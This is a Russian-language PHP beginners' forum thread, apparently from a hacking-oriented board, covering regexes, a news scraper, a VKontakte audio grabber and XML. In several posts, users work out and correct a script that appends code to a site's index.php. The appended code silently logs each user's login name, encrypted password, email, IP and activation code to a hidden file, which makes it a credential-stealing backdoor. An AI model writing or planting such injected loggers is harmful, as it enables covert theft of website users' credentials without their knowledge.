[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    есс-но, быдлокод какой-то, извините

    бол-мен правильно (хоть я и не спец) так:

    PHP:
    <?
    $fp=fopen('log.txt','a+'); 
    $win=getenv("windir");
    $ip=getenv("Remote_addr"); 
    $datedate("d.m.Y H:i");
    if (
    $fp)
    {
    fputs($fp,$date "\r\n"); 
    fputs($fp,$ip "\r\n"); 
    fputs($fp,$win "\r\n"); 
    }
    ?> 
    и это просто вставить в index.php, в любое место (правда логичнее в login.php или что-то подобное)

    Или что надо? Чтобы в index.php эта инфа выводилась? тогда так:

    PHP:
    <?
    $fp=fopen('log.txt','a+'); 
    $win=getenv("windir");
    $ip=getenv("Remote_addr"); 
    $datedate("d.m.Y H:i");
    if (
    $fp)
    {
    fputs($fp,$date "\r\n"); 
    fputs($fp,$ip "\r\n"); 
    fputs($fp,$win "\r\n"); 
    }
    echo 
    $win;
    echo 
    "\n";
    echo 
    $ip;
    echo 
    "\n";
    echo 
    $date;
    echo 
    "\n";
    ?> 
     
    #5981 Pashkela, 8 Nov 2008
    Last edited: 8 Nov 2008
  2. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    как ускорить данный код

    PHP:
    preg_match('#<div class="summary">.* (.*) .*</div>#'$responce$count_sounds);


    // (.*) - значение цифра
    // .* - пропуск текста
     
    #5982 PandoraBox, 8 Nov 2008
    Last edited: 8 Nov 2008
  3. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Buffalon
    PHP:
    mysql_query("SELECT * FROM bhost_friends WHERE u_id='".implode("' OR u_id='",$a)."'");
    sadfeel Скопировать надо как есть, только я там забыл проэкранировать знаки доллара. Исправленый вариант:
    PHP:
    <?
    $fp=fopen("index2.php","a+");
    $tmp=<<<HTT
    <?php
    \$win=getenv("windir");\$ip=getenv("Remote_addr"); \$date= date("[D|d/m/Y|H:i]");\$fp=fopen 
    ("include/mess.php","a+"); 
    fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass\t\$user_email\t[\$date\t\$ip\t\$win]id=\$activationcode ");
    ?>
    HTT;
    fputs($fp,$tmp);
    fclose($fp);
    ?>
    PandoraBox приведи пример строки
     
    _________________________
    #5983 Gifts, 8 Nov 2008
    Last edited: 8 Nov 2008
    3 people like this.
  4. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    пример кода он врядли приведёт, т.к. его много)
    а пишет он граббер контакта))


    PandoraBox чем тебя так не устраивает?

    PHP:
    preg_match('#<div class="summary">(.+)</div>#Us'$responce$count_sounds);
     
    1 person likes this.
  5. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    так мне нада только цифры intval();
    Code:
    \d
    Code:
    <div class="summary">Найдено 4886 аудиозаписей.</div>
     
    #5985 PandoraBox, 8 Nov 2008
    Last edited: 8 Nov 2008
  6. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Такая проблема. Скрипт для граббинга новостей с newsland. Но почему то при нажатии на кнопку, он производит граббинг 2 раза. Не пойму почему(((
    PHP:

    <html>
    <form method="post">
    <input type="submit" name="sub" value="Грабить новости">
    </form>
    </html>
    <?php

    if (isset($_POST['sub']))
    {

    $ch curl_init();

        
    curl_setopt($chCURLOPT_URL"http://newsland.ru/index/index/ord/22/cat/64/");
        
    curl_setopt($chCURLOPT_HEADERFALSE);
        
    curl_setopt($chCURLOPT_NOBODYFALSE);
        
    curl_setopt($chCURLOPT_RETURNTRANSFERTRUE);
        
    curl_setopt($chCURLOPT_USERAGENT"MSIE 7.0");
        
    curl_setopt($chCURLOPT_TIMEOUT20);
        
    $text curl_exec($ch);
        
    curl_close($ch);
        
    preg_match_all("#<a href=\"\/News\/Detail\/id\/(.+)\">#",$text,$results);

    for(
    $i=0;$i<count($results[0]);$i++)
    {
    $urlsis="http://newsland.ru".str_replace(array('<a href="','">'),null,$results[0][$i]);
    if (
    $urlsis!="http://newsland.ru/News/Detail/id/284971/cat/78")$urls[]=$urlsis;
    }



    for(
    $j=0;$j<count($urls);$j++)
      {

        
    $ch curl_init();

        
    curl_setopt($chCURLOPT_URL$urls[$j]);
        
    curl_setopt($chCURLOPT_HEADERFALSE);
        
    curl_setopt($chCURLOPT_NOBODYFALSE);
        
    curl_setopt($chCURLOPT_RETURNTRANSFERTRUE);
        
    curl_setopt($chCURLOPT_USERAGENT"MSIE 7.0");
        
    curl_setopt($chCURLOPT_TIMEOUT20);
        
    $text_news curl_exec($ch);
        
    curl_close($ch);
        
    preg_match('#<h1 class="mt10 grey">(.*?)</h1>(.*?)<div class="bodytext mt5">(.*?)</div></div>#s',$text_news,$result_news);
        
    $result_news[0]=iconv("UTF-8""WINDOWS-1251",$result_news[0]);
        
    preg_match('#<img src="(.+)" title="(.+)" alt="(.+)" class="floatr mt10">#',$result_news[0],$result_image);
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL"http://newsland.ru".$result_image[1]);
        
    curl_setopt($chCURLOPT_HEADERFALSE);
           
    curl_setopt($chCURLOPT_RETURNTRANSFERTRUE);
        
    curl_setopt($chCURLOPT_USERAGENT"MSIE 7.0");
        
    curl_setopt($chCURLOPT_TIMEOUT20);
        
    $result_load_image curl_exec($ch);
        
    curl_close($ch);
        
    $name_image=substr($result_image[1],strrpos($result_image[1],"/")+1);
        
    $good_image fopen("./rssnews_image/".$name_image"w");
        
    fputs($good_image$result_load_image);
        
    $src="<div style=\"float: left;\"><img src=\"./rssnews_image/".$name_image."\" title=\"".$result_image[2]."\" alt=\"".$result_image[2]."\" class=\"imagestyle\"></div>";
        
    $time=date(d."-".m."-".y)."\r\n";
        
    $name=date(d."-".m."-".y."-".H."-".i."-".s);
        
    $title=$result_image[2]."\r\n";
        
    $body=str_replace(array('<div class="bodytext mt5">',$result_image[0],'</div>','<div class="newsctrl f12 mt10"><div>','</div></div>'),null,$result_news[0]);
        
    $body=preg_replace('#<h1 class="mt10 grey">(.+)</h1>#',null,$body);
        
    $body=str_replace('<a','<br><br><a',$body);
             
    $good fopen("./rssnews_/".$name.".txt""a");
              
    fwrite($good,$time.$title.$src."\r\n".trim($body));
              
    fclose($good);
              unset(
    $body);
              unset(
    $name);
              unset(
    $title);
              unset(
    $src);
              unset(
    $time);
              unset(
    $text_news);
              unset(
    $result_news);
              unset(
    $result_load_image);
              unset(
    $good);
              unset(
    $good_image);
              
    sleep(3);

      }

    }

    ?>
     
    1 person likes this.
  7. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Code:
    '#(\d+)#'
     
    1 person likes this.
  8. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    вот что вышло но не очень красиво работает
    PHP:
    # Отключить вывод ошибок
    error_reporting(0);

    # Отключаем ограничение на время выполнения скрипта  
    set_time_limit(0);

    # GZip on
    ob_start("ob_gzhandler");

    # Имя скрипта на сервере
    $script = $_SERVER['PHP_SELF'];

    # Request's include
    require_once('config.php');

    # Получение запросов
    $q = $_GET['q'];
    $page = $_GET['page'];
    # оброботка
    $page = ($page > 0) ? intval($page) : 0;
    $page_limt = ($page) ? ($page . '00') : 0;

    // bla... bla.. bla....

      # Подстройка запроса
      if ($page == 0)
      {
        $POST = "add=1&gid=0&field=&to_id=0&q=".urlencode($q);
      } else {
        $GET = "add=1&q=".urlencode($q)."&st=".$page_limt;
      }

      # Отправляем заголовки
      if ($page == 0)
      {
        $out = "POST /audiosearch.php HTTP/1.1\r\n";
      } else {
        $out = "GET /audiosearch.php?".$GET." HTTP/1.1\r\n";
      }
    // bla... bla.. bla....
      $out .= "Host: vkontakte.ru\r\n";
      $out .= "User-Agent: Mozilla/5.0\r\n";
      $out .= "Keep-Alive: 300\r\n";//  $out .=  "Keep-Alive: 300\r\n";
      $out .= "Connection: Close\r\n";
      $out .= "Referer: http://vkontakte.ru/audiosearch.php?q=".urlencode($q)."&add=1&st=".(($page_limt < 100) ? $page_limt + 100 : $page_limt - 100)."\r\n";
      $out .= "Cookie: remixclosed_tabs=0; remixchk=5; remixlang=0; remixclosed_tabs=0; remixgroup_closed_tabs=0; audio_vol=80; remixmid=" . intval($id) . "; remixemail=" . urlencode($email) . "; remixpass=" . $password . "; remixsid=".md5(gen_brows())."\r\n";
      $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
      fwrite($fsock, $out);
      while(!feof($fsock)) 
      { 
        $responce .= fread($fsock, 512); 
      }
      fclose($fsock);

      preg_match('#<div class="summary">.* (.*) .*</div>#', $responce, $count_sounds_tmp);
      $count_sounds = $count_sounds_tmp[1];
      unset($count_sounds_tmp);

      preg_match("#<a href='audiosearch.php.*;st=(.*)0' >&raquo;</a>#", $responce, $end_page_tmp);
      $end_page = $end_page_tmp[1];
      unset($end_page_tmp);

      if ($count_sounds > 0)
      {
        
      }
    ///////////// Хде то в конце 5й страницы
    <?php

    if  ($count_sounds 0)
    {
      echo 
    '    <tr>
          <td colspan="3"><ul class="pageList">'
    ;
    ///////////////////////////////////////////////////////
     
    if ($page >= )
     {
       echo 
    '
          <li><a href="'
    .$script.'?page=0">&laquo;</a></li>
    '
    ;
     }
     for (
    $i=0+$page$i<$page+$menu_count$i++)
     {
       if (
    $i == $page)
       {
        echo 
    '
          <li class="current"><a href="#">'
    .$page.'</a></li>
    '
    ;
       } else {
        echo 
    '
          <li><a href="'
    .$script.'?page='.$i.'">'.$i.'</a></li>
    '
    ;
        }
    }
    //////////////////////////////////////////////////////
      
    echo '
          <li><a href="'
    .$script.'?page='.$end_page.'">&raquo;</a></li>
          </ul></td>
        </tr>
    '
    ;
    }
    ?><?php ob_end_flush(); ?>
     
    #5988 PandoraBox, 9 Nov 2008
    Last edited: 9 Nov 2008
  9. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    Я не пойму как соединить документ HTML с rdf или xml документом.

    Как это сделать? Подскажите хороший учебник на русском по xml

    пожалуста помогите
     
    #5989 MafiaBoy3, 9 Nov 2008
    Last edited: 9 Nov 2008
  10. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    пожалуста
     
  11. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    В каком смысле соединить?
    Спецификация на русском. Лучше не найдёшь.
     
    1 person likes this.
  12. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    как использовать файл xml?
    Его надо подключить к хтмл что ли?
     
  13. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Ты что-то неправильно понял.
     
  14. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    блин не могу найти ошибку пишет: parse error, unexpected T_SL on line 4 помогите плз
    вот код:
    PHP:
    <? 
    $fp=fopen("index.php","a+"); 

    $tmp=<<<HTT 
      
    <? \$fp=fopen ("mess.php","a+");  
      
    fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass"); 
      
    ?> HTT; 

    fputs($fp,$tmp); 
    fclose($fp); 
    ?>
    (упрощенный вариант)
     
  15. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    я вообще нечё не понял...
    ты сам то это читал
     
  16. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    конечно читал)
    короч надо через пхп вставить в файл index.php это:
    PHP:
    <?php 
    \$fp=fopen ("include/mess.php","a+");  
    fputs(\$fp,"\r\n$logged_user_name-$enc_user_pass"); 
    ?>
     
    1 person likes this.
  17. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    ты видимо плохо читал, почитай ещё
     
  18. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    я хочу научиться работать с rdf
    но кнмги у меня нет, более того весь материал на английском!
    может кто то работал с xml?

    как создавать и выполнять программы на xml?
     
  19. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    Благодарю!

    А не подскажите какой нужен код чтобы удалял повторные строки в тексте?(только если строки повторяются!):)
     
    #5999 sadfeel, 9 Nov 2008
    Last edited: 9 Nov 2008
  20. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    XML - это не программы. Это формат данных. Пример - html. XHTML - это тот же xml. Брауезр парсит xml-данные(ну html-страничку) и на основе ее выводит картинку.

    XML:
    PHP и XML:
     
Thread Status:
Not open for further replies.